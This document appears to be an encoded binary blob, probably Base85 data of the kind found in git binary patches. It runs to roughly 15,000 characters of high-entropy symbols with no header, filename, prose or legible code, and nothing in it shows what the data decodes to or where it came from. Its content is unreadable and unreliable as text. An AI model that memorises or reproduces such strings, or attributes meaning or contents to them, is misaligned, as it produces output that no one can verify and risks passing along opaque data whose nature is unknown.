z()cUeQ#P^VoDN3)NK+zf5RRHkMJuzlh21tT!1f280ZajbHwQ29b;g+a>d{XbeXoJ~ zQnrU+VP3HJz)lW(x*#ha@h7YHRADuvm<(QU7=R)8KumQ!eW_VOEw=UB24=Q~#Y=eW~3MT&A4 z)%qA|ndI8XqL6BCL))C7ueg8&{oSzftqb6$Mckp!S9)xk5#cF%v(jr{*JAAJj3fnD zz{h{<*da@dR>3ofn^u*#)q-eFyop6neDU%swx2+&<#SVCsVe|q-xQX;m~i*f9)rU{ z#Uy5T!U=8NGu57Zi2tw-iF2q`<+I%aFvA@F3aPa&^%uad`EkHTkkhHXwfX)LHCAQJ zVa=-%PTyO}QgRtAHQ5A%yNad_??*xnqr?T7orflgQsj;n?%oL(UCQXh>!W{9J}8}r z8q`}7;q)3vy>e^vl5E?BP7mL5w=|tu9aes-UsdP}3n<%R?H5E`+rcFK1C$LPgMflmYPMd(I@9xUv&dLIAl-MA@`3}tN@F*hfA?r&!q==14ky| zr;KY>CF-};>>w~_sqLi&<0{n}M{aGDHqL;E09KCnr_LPZyp%^_;jzu&$a=_$??|bE zY#e0oWN4NcaWpY2v-5Kh!VE7>*_BbwpxrWQl4BeXTY_JaVyU1U$?|_YfTu}Ya0TP5 zX1IjNodh!4^2sHaPcgk1Czg!0kT82+TMu3BN7P$Rs{Ir4R|!n$o@C~$iZo%7PogJr z%IMzkW5|+Nj%MjY{k~?4dy95jG`SNos&KxG(A9T{)A195Y}9-oD4<>xl}7R73W(|Q z+mrM^is7penrm?<;Kn!I<^62}-|{Ih<`rOWM`Jg9h1>L%k=oE1J5t;KCm`|E-1o+} zv`q}g|GRvns*zJJ^XA{9G7*0L!<8^)Ux~e2ev6RvHUL@h7M1G6a6>M>Jz)@zHlB-c z zEm%+kLL=CJ^X)!;{>)TGYbE&na~PWCZc|6jOniiQ1(HsmT=eAQHkjj6kp^3PyaN+B zY5KRsxXhisX0zkHCv;y7umzw9MfAB)0jl{Jlc$kjkf4@jJmg1cc&j?|Ed}6>e|>q0 z3t+@JdRiKHrZGh_E6APqH9p=OFXoTf+_f^br6>l3!GZKYp`Z_igLn#q1xP`543heZ z^n>mB71s6EggK+`v^f#?J1USMjgi_hwoT}JD8$ij!(PG$cWhwOxRd!vkd2x9q9f%W zsmFHyMh`QALWV3O%KizNgn)SS>HZOBSxz=>3g95`IZq(2few(%un(A=F&BDdPv~VO z8M|fDhE*ViM^>)-ll}U{+BwqbeJ4KFjfFQen=xDFFee7NcD zVq?o>6};NE15OZ=5roM_tEdO%6m4HO{HEd0r4A-_J0E#dBQS z?C2Gy@CC5~2ma^)qm!-8Wv>hXWb&cuEiBfQ7jhJ9N{0er9azO2J+leq)Ol`IoZYUY zGZZ7QbSI-btppSXXiQ}C_oXD`XhbZ;Q6I7;)sfOjol&5oH$t-xjKt2{ zph5{x%*rf+%TEK9N(}F^I%sk%&?qzvl3tKWHN6Zk*A~7Hd9+-%(nSe%5J(m(!$lKjKW16S6y?ml_16m+p4gl? z2zI15J<78SWS4q3lXfix-YUJ6T%wQLuT#6`os}xofKHtFC2cHuYQGg3=@j-Mn8y^k z7Mc_M%4H*;t>-P(eECTA1zYdddh7Gq{MjD^Wy)-ELv;h9iY9dHK5z|+txA-VT4TKK zf>e?mbhLt|#Cw}&m-963_w&8~Q>EwY6>iNF+_I~LM2Y_!U{~THZ7m(EwYGUe%pFonO%T>BH^W#Z>poZ(0Q%I^^tU;H2xWS>STQ*j_RHptR z{q-+QSkklH4?jGe>`-#!XsscC&PwACEf5HO4F1ax>53z(jWBhV| z>fb=oXCah8(JkgpZQq3_7XJb-BeR~B??(Qf-@);Na3|wW2G#ecN-2B2F#tQ!U ziy%7*sH7?oMUfzU5~D72gf)QWZUYm?_O*)P6w2lqdKk^hWY+6an18f>(sp{@P;w2& z)+aRUl@_dp9_AzLg70`y=p|)Mhh-f-ZY!t;#V;Xc^DKLE%wtw6cOnJJ4?Hy_%+5F8 zwD^Et)noZl3dESKze8P*_ z&|)Yv>$2fbDQ12vz;lu9@~PSOZm2Dh*4*Rz!IR0eeOdHZQ+$kRZ!R>aO%TO!+pOR3 zJWMwzG^|M-_>Y_-wRR}#L`M%ondFmjNP=}Xr~XE|TK&*7lyxe<#h>pvUwN?;S&ps1 zMtjmh5K@i{B6t!r-#=b8(TDlCHlUEic~V&x(6v>fDPW;x1865I`?t6gfTvhM8ubWP zN{{mmu{8E0H3m*dq~E^sofqAfPmkZwFTTyK)-ck<>+Tp^Nx!|BMNH`=kKzTXEz}0RdryKb2p-M$ahNeQfZ?P4WB3<*&+R(JTSW zv`9hMP6!%G1}b|D$`sgmZf)FsBANIru)a$=KA!bWrSwz?S%0iM+skQ!4%9`lAvibP5!SfdS*cGxrsL*zF(N1{bqV&-`N-$D zqul(ZkqO zmeO4b)1mR7*j23@S7}u1yY(T6zxD}k_29(sxsX9fC*K{8a*qFbiKH;&fX{m!jG{PA z$hp4yE()jQ`FH>FWNjh`tCOj%%cKQiyj<2FBE!?k3%nLPr8#j^hgKGSBn!R$}6k*I3cp9v%Ci<6kxwn2wcADI5yeqV7;3g@GB zO7B7A^BNx(?<`MX`&)r7LP;dl*VgJjLZXtu zNSyWd6nTeBL+E{aIiHh$C{(fqF*R_23z7o~;S6D2Trh2}|_Aqu(TcZTb}nkf$%9dPZNtDD;m8Sf9V2*sUp>Qu0S^bdPJ-Y_C0 zZ5akD-f=L-D{ujvL>+%tO=6I%RTzJkTpiz~EjewpH8=-4H3>_RyKuh+TGmas=Q^SN z&+;^M{krU-*VlGcDO=11?5N9?-%Uicd42rnOz-h2&2UtydYJIZqg14a58zH(&!;35 zu08h(Kaw84J6vv~I*Kr*@U#3o?{hwtT5_}^&s@j?$Ta95f2H(29!u$pv3Eyvz=l!L z`|t)c*wMjt+XZ?sxU7;F#)BM+_4P6JDtF{?!U{d5O%X1zu23Wt3qSVZFn+%zOrwSN zJ^ST{&@(YSBVQMTi;Jy*hmO|P{*=Rif0bm&4sOSS6Ar9QM>*r%wWomW?*8(^kqBoO z>D3P~i~d_Gt4!%TzNN!Q zM+If|{rvjHX9lnO+_h)n9hjv|%u38@t=s6|&s9}b*tnFR2WpMF7v_Sp|98WlhWl`5 z`fccM^naW9yVuXjecL8#Y6O_*m>4i(8^A8rvT^{1VD1G18Dg{V*G4GOpY7SdpmFs* zokdsvI(z<7GM(~_ka(j7rLOSfoWkJZ=ecgl^6k1PD&9%H^ zjAy8uQsVaJKq)+dwZYV)`;1M|3Zy9NEv938_?m{hn0*#j0Jly*a>@ge&T0SQ@~E(t zO6_IFVbbuY{sgpSsKFO44@By`U-ROW(-N0$PIiSJJ2s=|QXcMjMN^scSkxP^Q1zCxsaR!9mA-0vpXFx+`FY$=4tU~bX(v*(9uh04tdu#|VRVt(NqGFhKqQ-NKe?9a$EuGXY zCp$&x3jC1YHvrbtmpB5#i7ONK5bT{#*{8yzF@a>irZU0ur)g@i`m^*^tQkhDww()` z6Dnzu543Ate}NFPw|HLn*_6>yl`IA=42UVxT~5|)MaPdrm^ttn3COOtyZk)9M7~3H z5s)M$k2}^Et?T@aFvM{BW2WKo9% z1S=4wsA~fpd&&QlD~4lF?4_3gioM(yG2c+}eHz!VE6k`sn%b~U@3G*_{lZ`vn2$D0 zsJo6QH;YAWbnWKiE`4PaA2_+k&z5g2pY5&$f&~%$9zmOMn zgimJ4k@{L(_p=oP4*5aUCg#PNvR8Qds&?$@I~GntqOCgiJRAkCuC=buqdTpLTF~_C zjweLX0q9;{^yH|S`aQb)jRO=SHWVfOX-zT7pBON$Wq2X!1wHlB`HCGrs(vy+>Q3XC z87dT14G1oe%;oOM63*AKYg=xJ5fcdq41`K;YpSE!#-AtKsJ?L++6ZuLJWoUYMr!{F z6#t+`;s@Mz>+Zg@hNO)GhWyEfhFz}nQ2p?G^-nX^wjuwGeh1(^qWJ576Sg7u2hRno zoVM}|h#d*|E^I0%-vLqq?gMLNGW*G+QzQb*(_j>iMW^%CW0p@0{VCO)Mwn+OA2;uB z&mSCm+Qo4yZ4WZ%KgxUhh#|H*1|*wOQJdz;3N#~Qv#As=P=bC%qeBBGRO0e|LQ-k% zyGlM}DG7vN4d?w+23ZhJk5`>!D2yD0 zk+l?1Nmnp(WnfxNr7W6M!SMYRQe`8gbd~ayQUB(%sT`br^~8gph^RLSp7HHk z^XaZV1y70+v6_qsF>TN!8Y9D!jqCna?@tp+VbK8*V7>GpOJge^-cpRr z$WLoCu6$c#PKR9_lH+HqAQ6?J7e$hVoiQ5)K6yjpu}3kJ4a>x8`PdP$7wdwHT@K#~ z(R$x^7MJrF8x~X4L#J1_3yhO`xaK4@x$-~~`v5c^>-Wl9&a;Y+6aH1%CdO1c=Vt@s zdL%6+udG<+xsbHq-U{iDO;E1Su(~-82+s@R6)JG_e{soQ?791g0 z_h&pxiVJcix6iz2a>T*J06x_H6u#Yf8wg&qWiFC$8$hsf8nR=$<}K}KCCao>7<%#T z89fJsTE?Rj);V@eAA>I}N|&Qi4Nf6l7*sssH|Mr%z9q@p<^eTj*rj(N+9Vg84wK+3 zWDq2*2bAJEMFBS&4iC2@bj>>%`~+|NqBy(bOzF=xvRJOS z?kC=F+Hz%yTZvryKl}?-_n@f6g1}`6{?Awq+29tE5R(~Gs-vZ2@;q7?C>&}{m*?Ji z&?{T*yY+>7bE9&R!8?nKOMhat_1F-K>X=OQo<&PzWP&>Lyk;n z&DhU2cPBYeB3d1Oc7df0YfG!IMi%+zn{^!#LAgIUw1t2Gwe`Q|QSj-Vr=~yvN*M~% zp%VNBOW5UJcN)YcDH#7wZ!_2J#fKc_GfxtF+ypB(i=m6)=8pIfV6s05(kYp~A2+k& z6(}~pv0Tvkh>4H`pY^2R@TuuGy34g;u6|(#4`x4e_S?vD$Xh7)86jBk;+9BiZ7NA8 z{hN&$sm3rCJktOLn$J<=4xqK9yfsviCO{I(nQy|liVfp{1XUDo0rc<%%alF_0kznp zg6lJRmOU2nLT#xoswJ>tbF8#jhaIcqHfD-6QP>yH9{eOY3x5)>jR&Pp-{gDr5+Npv zDj@|ZFC2hL^z#;V*H5$eeNl@|YP;lA{SuF)sa&uv5RF)<7kM0;?vDENq1f|6RD_qwNvofEmj zFN*gzm+>QMoUKBJ#%|MX3(fchzp*aMO&528E8d^4KkJ`G5_(R*$+bQ+k(cw>@xB@; zFOq7PI;#>08W8f!!QV&7cld|9v+|;mBOB5FK^GW{tCcO)2@k70IEfYh*mTm))f;Bc z)Dc>i&g>_NzFi!?a8Quq{|w z7D$eWVE&>NE>(GBjX>(@iPLn1=LpG~lokQ$R2?)30aPM>kuNEhbhoRygGTz5b~dWc zPKTb&B{UT@IF8y*cQ`bBvG18B}GamMueKVVP`~)RkQl`(2i{Bt%b$twtnDf z`_3x$ILt6HLC(_?( znWyg8RC`r!9d*wL$wm>KOsv0F(Q=BIF--X(crP|p==8N?3XC7$%}nTivjeH}mz%Br zz1)wU&BQita19*!Q>40V{Ib6FKZL8mXr;=yAfyYv=#xKCrlx~WpRjObX>{D9e?=E%DPpOA037~g?rO`v zv{@V2pRdX?3wTbzvysGAU8;vNlf#mPal!;Vm6bEZ2TqeH-}cG~hS_5=G4|0>k!(`D z4k3a?Ts&|7`c)k!&|g4&`=de)>GfAUjq)XH+>4MOE9e_`p;vpJlJ`X`g+D?Q`W*L! zBBKsXLE0q^H}kUSC&=;Z2hGS44)MKZ$fRY!lUE7{_E932^=HTKR|767Fr6m#v8S5x zz{}6$fC2+sy(q@_Y!kL^#nd=nMiS%l_rdkJeO3e!Hn7|Y2nGLIpd=`1YiA2uOO!zv zEwFNW`NLp%couK$tXrRVJSxb>OlBJZ48~^JOi;~FmF1{9M;RIP$7HelB0n@j zMm-rVRb@ZX8DwSv=RfFO$G82Z5+pGi@3kmw!=8IP_guB(V`6omBBj~UOFZuibPd8t zH~3;UB>IgEwa`0aJ)#Ed>7&U({HJ~Qlf-jRAPy}j6U>?Vi;}@JH4oorZQZt1u{Cr3 z@r52~;YN@u){~F6U%EZ2bAfX$Qqm1$rn5O9zz^LPE4D?C0}JVZ_oGlndoJdb18+k2 z%#*)We}CZ<80;GBurw!B(k0n45Ia|w?BgC=+MlY(^)B7Bt{iazd{4hUxR}j9$_au6 zCfS-1{X1B&=DYIsT-pQ)kwr9|5;QYRS?2D9iULVcFMpmNt`zvZXlPDMRT4@)&3Wf0 z>pML83$7D6QOn2q%A`v)hduJ*C`EJSCIFn2L=6Q;J-zVIg|;>Au(2c`eQN&{BPu5K zvIieC!8eENxMxXV(}u_$HG4v2Vm`ECzV%;FW*d2UKnQ_ls zydF}aN(}AO?{o+4`_F?^`s2b4F;9zx~$Ry#nlZ{F^mM!`E(iP%x zq|y$MKJB|GYjJcd4*T%@cHjhFoZTUq%~^_T3}8PjevkL$`-;ZG2Thh=2Hp74PXiva zV#9zIQm#|jHb0_O9x=yues~u+<^IM5n}jS$@$@N-ML<5t9uYRipTV})?X>(wfTM^4 zQk-~lb?*pK2DzuOAQ+UNC3zlLDv%G17PAv0w?_~OU$2?_oRSR7a_#Ks1`WHcZ_MLa zc!`;YIHxZ&rnRmzeRp-vnHY3x{)(YH?orQsJeYKs&qFEDJoulZLBFGZ5>&Z^szQTL zK@BDI7X-O1B+8c;0-l{@@zSz#8T=3DBz*^_c8A~!S{k%J|XjDi{^YkfiMDMwuh!bIW9x>hK`Zg8nk>Gu=I{Utu=qBr zuR}5_AN7k1dp6S-j;XgUD}=LaewUh{@;_NDSVaOL0h^jfMGFP29{7 zb6dc38M|w0NV_M%{r;h~mC`2vvgNd`Rsl$6-F+5iHaj;0>dj0=8Cv>o(Z;cu-XIxv zvA*u0ZFJ3bI{ZZP5CxgD6B&kW&Pzn(KU;Pm{Zlal)NJh;YK;0F3o1zFwL(rcvZr_uVSH={sbc026baKpM zD#1foLvQKm45#u?1K{EJrNEIBHaXG$m-akYC+$SpSZ13?pKc(vUp`-|~`h z*6xA?@#;3U$mmPZ~LmKNh!eI){Y(kg{A6dTa;;+OoA68S3 z&Sye?G;2WR$E8z)1_GmM+ufH{k)^ezEh#7OlQ(3@Sn1hKQz}~&Od!YUes2rNn_3#m zO6<&p9<)?+Ro8$quzz$(26UH-iisXWK|X@a!m{W8F1@!eEUqv#Qllj%`6AcKRJoeD z{t_Mb)5bDHcX--h62OdEXZMoS=*SlV|6b5LXqzD(tLo37IkpyCu_r`?w@17}>#==j@yW>ImB z;2tXI5xLtEq(Idlqf9T(GmY!iC&Y~Ftb=WmWaZWDV^gzTxD!@$NK}%O@M=@R_BR(5 z>Vum*B9|dAc)-*S!FQ6?yMW_{ZKBR+X_{gr5-H1}8N~2qIA56UJ}4uJLiKGZw+4{$ zryd*eT_R^n^jM#mYJKvvN_onys%b@O=xyfEEmG=xv(HHpy&>;EvR~fBXqD!Gb78NK zvLcK0Ah{?m&e7#I|MPQ3Fyzpj=J)6S!=_aJhfN95S5*Bs3)Uyzm2*2V#>1fk6t~V! zb{ibD!-)Tp`agKlFsys}GH1#&as)Wpxd`8`c)?5W?=E97hiIUc?OGraQdHzY^AH%B zo*q+0)Y0#tu+9>+6foDsl!QgjzmMEW2#&9E5Enjb_KoL&JgQ~aqQqtSGJK!#O(9HJ z>a75h5MR8Hzkqevv>JrbA^?1%aM?$ zKPDRj>f?*EH^H>GRb{SnyKE)QT9K-WfHLfifqIY{A2n}S8x`iaLX0OSfJ8as@$d6G zuaIG~AtGTV1vR!1r0ER28eni==NeNWM4}9t5rP8>F5cw<2D5ga=6hnXl67WD%bx$@ z0uB*ccZ$}k;`yA=OKu7>FS9g>eWfv}=~SJ-38R@feth)m>85+RewtfaAK<{Mbxe*p z?Z+4a*<^KYsBP(N{!d=mNa#2q(7}eoR1>@vINt{m6#TS*bEUTXXY~;?)`cZ_t>rft zIp@V^?Ie_t^sa>4Va)VzC2ao$z) zuD>QueUQ-F&QsD5HZLl@zaaRfPsFtdLAN;NFI?^EsiwXwmYux;p~p9K8i_W{Iqy)4GV^9h1`T_V5%#Ls}h~Qb;3EsUzeD+`P({nppma%Nzu# zqT3qrj~W+W5~sD^<7$fUTjHFmHS4R&fBRy10q_i+=bhW!!|yRS!!KW;*zS{-w@!~f zVmUF;7d5ye*D1QK2-(~CcAfUQ>%|mdK|;0YySHN-n{&1XiyR)Z|E6jH8y|z;iKQxL zK8=nF?9`NkShp@5NLfwF-q#M&OpuM7Qk^yJ4duB%dmyPx#7h9~8=r48-2az2>;KQI zu6kc_^uJy;9`T{j7pKj7=eA$-^CY&kB9sD_`>7{^?Y_U3T>Uc~^PK)j^juGKyjj>n zl;+NV9tX)Dytq<5n9JHM5iu-SK%>$Z$WD7)=D`SR zyZrmUKmg%V;$_l*lD{;v+Vr#G2U4dM&rN>gaOHEVFbaWvQx1qc6u^UDN`6k|F2YC6 z#pX2*{HU*|;p)Yf(M5TrkM{$)NgLR{{YzC+h3TAL6CEW4@90jAGnfZ~p94#l{FC66 zSlgO=hO;_vKN-nFi#Y9nGBc;vOc$RFdSexK2h8k<9!q>yPzBB&tDY7B0Sj`~NoLpa z6zDq+4m7bjgSt7?LUQq5(8ILQm$a*f(Fm)%sakrN91pL+&G;(L z>5T_tF=bNU(vCk&da-DKlJ9uQQjL_DD7M(ay0Q@V4;`>d)!eia37Xcwe)2OgaEe`( z!L%t3L^neEz@h9!7s(_c_m(57o2~IjRNuM2v-G@)FC8X_n$`Nt%5KEgd0+ZL?%+T2 zW4*W~FyBzg6XjudmO1x?>dYsexme_pQ-1l9Y0FA#P8N2PxrRnqgO-%xFNBxXM*WYi zuDT3L#)XjUjIK`*ZODCgVqrGg=74AU6fY4%%&>s_ng@Qll%XLJ92BpIw{wK#k~`Kf zJ{M6$S$uqf;Mr9z-3;SJym1RyJrb3PZSM-qK{yQ-q1PWaXa`izhmvNb{sH%BkJ!{k z+A2TY4vn7hGwWCwDw}P$IbLU34`K&GXsutg;8dkcMe+G>l2!2sEx0Bmu_jg#t+?h` zb}3;0Wk_KH=_?FQoWwZ*b@yJa5%o*y^|4rYk4)U1bOZ*0y)$XeG_1qoS^{D92N1Zah+q?* z8CBn+_uosze`zABlq3G_m%66rq8!bWW~VUkh`uj8ACfe?3KLrD?F;A@!GHhUkEG%F zWNHw6dTZ$?F9^7g|HxdXg$B4enE2gkT;b#`PVAEEQ^1clYHfTr=gN(J2!mlq7aJ6iq!S^zNAw=@(ax&YUGVuJJ#p}90U$RJujP6MvRw#bohNVWy&ljROc ztG|kh#!53nIxDW62kVc@w4x7Lm#_>Op_G?E(SbojUYLXzzNUoG8ZWuVYe>*st$RahMqYaJ-db+~=B7(!2Ic&(&eMt}&8xRhc0}x(f0kd8`@j z=!)hg#=mz%UNK95@_{pI3Iwh_K{9(d&gyo<961{O8EU37Dn6giQS6=`xezft^eU{w4V#>HYxWg-OW2ZcLG_cA8h2 zb8IA^-TKsPd}0}HU+^Htj}kg_r9RV^P?$(~nu32j?f`!A^}z^!QZBBpygobIBqPJ( z?=h&h^Pg_LZ@tXBzA0r)4_yHd+a ziG3j27L4}nQXjS{!u0s}e8%PC`)?9jj#O*~(Ao}-1Sd~DQEIwy(h@?2TJKopq`Hyv zIo8eMN?Pu{%mp=pmIv?Do%`QmTu7K38EwPw<|Tw z8e6&vrOS5%FPcH11rMtb;xBz+Sk9kHllwh-Xek0Q76!Yx;aHb3>3Le$_3k=3;}t_` z6k2+ayLIvv-s`xJ<&Uudst;3>Z)K_rUKb13JAl2M2M4QDQ3Zn(&Uh_ToP^xSys5l- z+W4spZYw>TV=%Q$*2g(y4TOQskbn7rmZJ921|9aQ!caH8Y;2(li#8)jjXVAqzFJG8 zbf!*)HlPe4xJ(6Z^pnB4dNuO(s7ifzy@`-}#O&hIKt46EF`q)VwVSS`%+JI+sl2qq zMjlTp)&LstL6>zVE_3Qt2q63ys<})lFZ@jX&3Tg3Kx-haP0f{Z)+il=mUzZ)+=xkn z-v++Y*?0J26{j8!jVP0UeD==VQewfc@#^i@;?%ylWq~ayF7qJ1z$*ivB4!I&>&ruz zh$u?`v)zC}PCdgBLIU%vxU zn2WiZ0?7kN-ye2e9|5TT$-20o9k}rjlf}ETHPir@7Pxie%S-b8Ha=lK-&cyfZ(FQT z*y_2UeZ?9%ez&N4lJTx+_~gf)2gj%+G~X|ywGaeQ3&f$6RKk~0XR?n^Qoz-ePsz$M z)A=7H+IF4NgJMLskh!(&{vt4^d-De?w$JRHx?&P-#TwC2Hv{(KipfKe3DYwh{xSftX8#R7CDRoKYk|3^`v3$$6@Qb$u5C6O~j>!f$5G8q6<2UOYiORd^ zYIK|_gYeY23?*XQaBrIHNGSxPPz-2xu;;QTMWEOc8b+M*aEpHY;Tyi;yE9ANrGHsf z0%7{?O34|HYuL_J!571~PeIV%Np9Vg^U;KXXzw&2{EQ3d<(ia&+pmJs@)?o0Bo=Yv zMzu;i^6TM_$s_GcmQ_QSbS?N33z`I5g$5$X zbu8u!&F~w+9HNnF2h=+Iyb9iH-0KYZbPkP~pQx$tojY{2w0{Dhz{qo1QNbJ{%Nr@> zfdiUe8D0e?b^aBYYm02S@Pr<{(WyxX^5FLTl-oT?yFBua#;1lFZb9mV+y@@Bo8i-% z8{>R4J2M&A4-b;+?2h2jbf7zUZ4)u=UU{j&vBU4aQ#bBFY|`=sD{WIShHS`?#@2UR(S8V-;0L*;Pb z3pYMIIsbc}t~|cxS!G@faxk;>8AlNZgwEfTEyz2(VdXu}K^6^%!;YD!<3|^chUI#z zHwkPB^3R-pAS+91%Fm+69uJ^;v9R(({l;jD<5#nueOHTHZHwgPFD0L$I;qSQ==&Xd zT)9ii!ue9z4kVWXdUH4C#Wg;EXTiU>@I^L;zos&yesAXTCMG6^frgseHKy-uf^Y0U zap>|tENi*`7rpX-hUCbidIjHnlK#HI{5n+KwE*4nW!~tTO$49KYsnV9n=GWg*T>%=D{cWKlgx{@#eq4QhLD3*L;!Afy#a@uMn;dUH)~*OJDrCOTbzJ70WWx8?`?tLgjT3m!;AJa&Max=J8W2&ov(BGcHbIZ!Uep6iJUqZM7KZ>1zB#f z^oCigu#&9)D1nP3OEPfWPpK|=j@6F|70TJXGq6_{A{%yez@!bMdU@}|^59Fu0B4rY zI0|?#t(K+b0ejtt={>2mI}{w8<4{a`%sS%b#STdbE+WYGIp|WB1Sm%io_rBnPf`6r zPIo%@c8}rqvB9^}vA?~kBh^?%;%Mn6&!VCNn?f zBoe8rh|t>Ku~Tx0+rMFL$M35WTFTt}KSHMFWP5?Qe?vra}9Xg4LO|_0OU>8uP;R? zT<+G?eRgG+sS>CyE#UFmmlME>ze&iQ&dC2g^MwU{;X$^3v_o^MZ;5 zya2)VfQxGjZnCx;5yWw98Q-JtGxMCU@wPNG>;5t8UrO|JD4I+MowYFQl*S0%vdBv^ zSw`UHF0ZU?N6_rw8~ZN#^`G-Z7Cp<0s9XNu%UEs>|KlW}Ng)>c-)sjZvGetjf%EmR z>;v{b0cP7U>>$e6`_}IQ=hakzgn8rnW@8iA#DoJG(avX-C2*g~m8n$!{t&@P@R zV|T?R%MT>ctZ6Mr&$uYk=>s20hgMV4tP#T6IesC2o(fXsymJa zsaab6|GiWlKfRV1$3MU+&a|rcj`F4R(=lcHF;`gg^3S`1f3$hfp!j|B)+5C=S9S)$ zNZ+zJ5@Gj+TTBP4e``XZ&EFq7`aA`F7Y=x_&$yvPV-EXO;-2|gLAqfF3fCIiNct37F;WW@zSXM5{R`5i$ zpAr#DOb``UfQ|nx^!YRnLT{?_QQu5&ibRQDJ)P3%!mF#(+PzW@g!AABJDgeDA{fQx zrr2lEWT?9J4=kR%mu~6a<9~5nk_?znlqgV}j$`Y%hdZs^@#0YoitgU z+<{SXuEP7D;N!W4KWDgx`=xW!P6t#nzuDV==G%Ph8k?;VfO#6!l?8oe+vbUKp4Tuh zn{288j?bB0guSwTo%TpK*ZG_1Q{S=*kX81gQ&r-W3wP~mwM)~${_!|xIfzM8wscls zcUe9uF9_D0P7YIQb3LUc^YG~W0@9PXJbO{hUi!CqUcNp#Xb+#d%gM;jkuhyTXo>t# zau=v3E77Cwo#myDu-_Gw@D?5>@9<4K@z0wWG8{R6W=b_0{$ZfB6i{CJV>%Szge(53 z&hg^$m6;#v_0@H_5H0xEiwi;1HQ?aC8$;-YV0vR3n^O509=sYCiqCVsVjtG+WSZKY z=UDJ~MwyQqu?+F*B4%`;)7>IPdz}SUxLTh_2ZH~ai|52?s`<5DY}oQ3t@mfqXPS8I9i*@>3uu8j|pda!PaPyVrvp1)9zp3hMw@+q=wQvw$hL2ePlwMs@qrIqK z)qit4%l~ex{r2e&j%vjJqv{*OGVRvCb4})CO-*)9wr#tKQ{CBiO}1^jJKMHx+kV^c zvH$zo`#8U?uj^Xpb>fFCPOotb_i=o3Ct2*GS_a*EHC{W%$kISBsy9|hnd8f$7D0m- zD95w}>rmJGfk=c9o!48GJ6GY8h76@lc%Cmdf_2=$a|>k|p!^Y%s!*>gbX3cDSj)^j zZrxMyRObY3S$v(*GLihQCPVoYKddDdjG_RqWf;z2>F-)C6TDdlWb~uM7`Z{!WG;Bh z2)}Axar#CJv`mgW1d{Z$s`34;B5NGkovJKL`n9&0Gob=D8hcb2s-v!~SixRWg;X;W z=;XXRWiajd&uHCuDXy+6q`=&$o5{{I`Iq6tYhreORe^0K?Z`w>d$}(^G2-7UucG|| zI|PK=oVkxTKf3Pz_6vZR_8M*7PpTiH?LG~^F3jk89|*b)6tK9JpwT#c?BLR8;Yd6Z zl5Q||)e!51Hv-fUL<};0C*k3PUn&V9eYM*&Gjh0HPugm#rCmZqdKPF<$wjWPQ(b#Z z(|?!GyMRON#NKfpC=TooomK{K(W7FN&LP9b@OStpD+{)|B7_CI7Lcs?EByFS;b77L z%4y{H)EXx?;)6WhzeJcACr5V%To5*Ua_YDT8t~*Yw!GPF*={^s?Rs!Bxwj{k5u7CP zu?)JL=)$;QkdR!os5$d=Ym0@8U-?*^qgN`g$0w+37zaMFL>}W2shRJ5? z5sgnX;yDKs7YM03(hTBb_#O%>yoAnnQ@zvtozW4}Tt>yK@;Z#$x(xw=vG!+FQIZX$ zD>(d?H#SHe_&$m}atLxX4hVOmT+WYn3mrok4zlKHVP7ZhGwxvv3Ww7u5tC28q=f zT7Z!E=de`*{Vs3d*y-$WEPQ%EgneM)-1Y@K>__Tad0K1dZB@uca(8tsx`!~+`z*;NUuF5Qx0r@=DZI-O)V(O{_faSL#kr9WlTdhtPqt87bP*@tHvit7DzKZ&9^9@~qk)QkDcK zxyZ_4yAtKC;%H-nSN5-w7M-w!vf_M6q}pk1P`TtPrnG56mE8|hA(f6|En>>LNWEL4 z{EYU@lziXLFY>)r?)wk7fc8D=^KPN`%7#!i4#$Ynj)Qe&n)r8xV?nd$npYZ)_K9dU zhoe+~(09u(vK|4eN(x4P659e|<`UbD9r^?Fmv#=ERz&ZHqj+%z=XQ7I;iM2@Wz1~A z>~hw+Io z@iZ>lVh`BM-<5*~P($DsG|h|bN!s$-)<#wC2Ms*dNFe6?XZMgG+dq-5i~t}k^mJpl z1}(Okd>A@{NMk`ds!vmf+F|Xi!Kc+u_FMX`l7+myaWN-ELekJ*!a{6x${4>Dx2p-iST}Tgw}B;9vq< z@BRG=ahC+&1M7&43&@|l?Z6fvwlkr@XB*t)p=T{n1Bq?>pmcaTm#7MPgKyj`Pdo2D ze|(^L-0k~Dti~uH_#u-y%YzvVNESRim%;Oeef`Qoi*29@yBORciNbVI6#Z%-c+{Ts zS8()2`)X}mKH0$QyB=%4-Cym&LCtu7yxtzKH-;BJdRvjLJG;Oj>GRFiXUd`=Ib>F~ zJsXg9@8C20AE&|v&&Yhiy)WCWh;&+z+7qu6bq&WD_f#O>!mqKyNL{e>S&Tu~e#hOC zWx(A7nrUsUdgUNw>6+%GW>Wg%O9lKnG;ihVrG~Cya8}TdQ6aK!`IPr^yeW+JWT+&* zC=AV~xxEc%1Jxuja3WRZ@Ji!(We>AU4M{+dCP~AeTtW^(9Tq}PXJuIXX`cbyMrmru zO(*!bHS0CRM+0<$)=Rp<%2ovxfC61mRT1}qD=S7x9?r8dmhO|u=DqJYe_joPV7$4v z&L8pu+Lh-*6G1#^hx26ja;h8^eGHq``%Q569|xu~4U~-I?T!xg2}E?`-92>bAfMKh zx_6=^Ry2VZ-}p=U%_^tiWkQaogZ@gjFM5b3jnKF?{jEINb`)%`Su8_d`F*i)N<7UG z>+w#<^DvK3#JF<0CK!HOguDpL>lb_m0O?+Zfka!>`?L4B8x&(HPY^7!p}WM@lIZnF zPCypk&(AsBOU4uN&b|q|i%<3zo;gGid?n4x$%l0g2hv^yA}q&Wq*j|b7IYLrN#YdP zh@SWjQy}{{)foPkOG;Gfcor1@{j(Oft`58}iAj6MUIXR}%xrcCm3pj-59}R2~m|@`O5Hp`=1{qyT|WYDH7I9 zmCP+|SE*>nh18g{<9aJ>&z&EyUnbGCSr!{TbV^eH%=9)RA=|VpO8$d}{ldt4M?;d4 z&u-igOL@IKK+6@L9tuhYa9Ry>8Ok77~Z^!20ux z7jaLAEr5V2S&N}?uX>vjgyz1oJUecqX@HSc*2V?eKl_B3CVIcM^QLO%J0S;{G`7#e z6dH+f`bh&WNOJw?pVJ{bx86FWBEqKa?z?#*i{p!`Dn>b;anTttpUbHu<&_3UQk_~; zhV%7-!A#LY5#BuY{O0BG3V%`2u9zl zR|A@B4ORh6VN;40!a`=mMTP3;BV*OJ)LdCJ5|V;G)Vl|wIOpsb6fS4`yO5ibNF*jX zFuN)aE&s6IzRmNpnjcaqIYv>=(%sSpNdXw>YtPt3;`s7gWK~~Z*^QR1xx{3mlF>2* zlokd;9hF45%EHYDsTdCA|GxSgJs_jMNGOq+uaoFu{h{~p<<(4>&>}vR*3*6*+SQaG 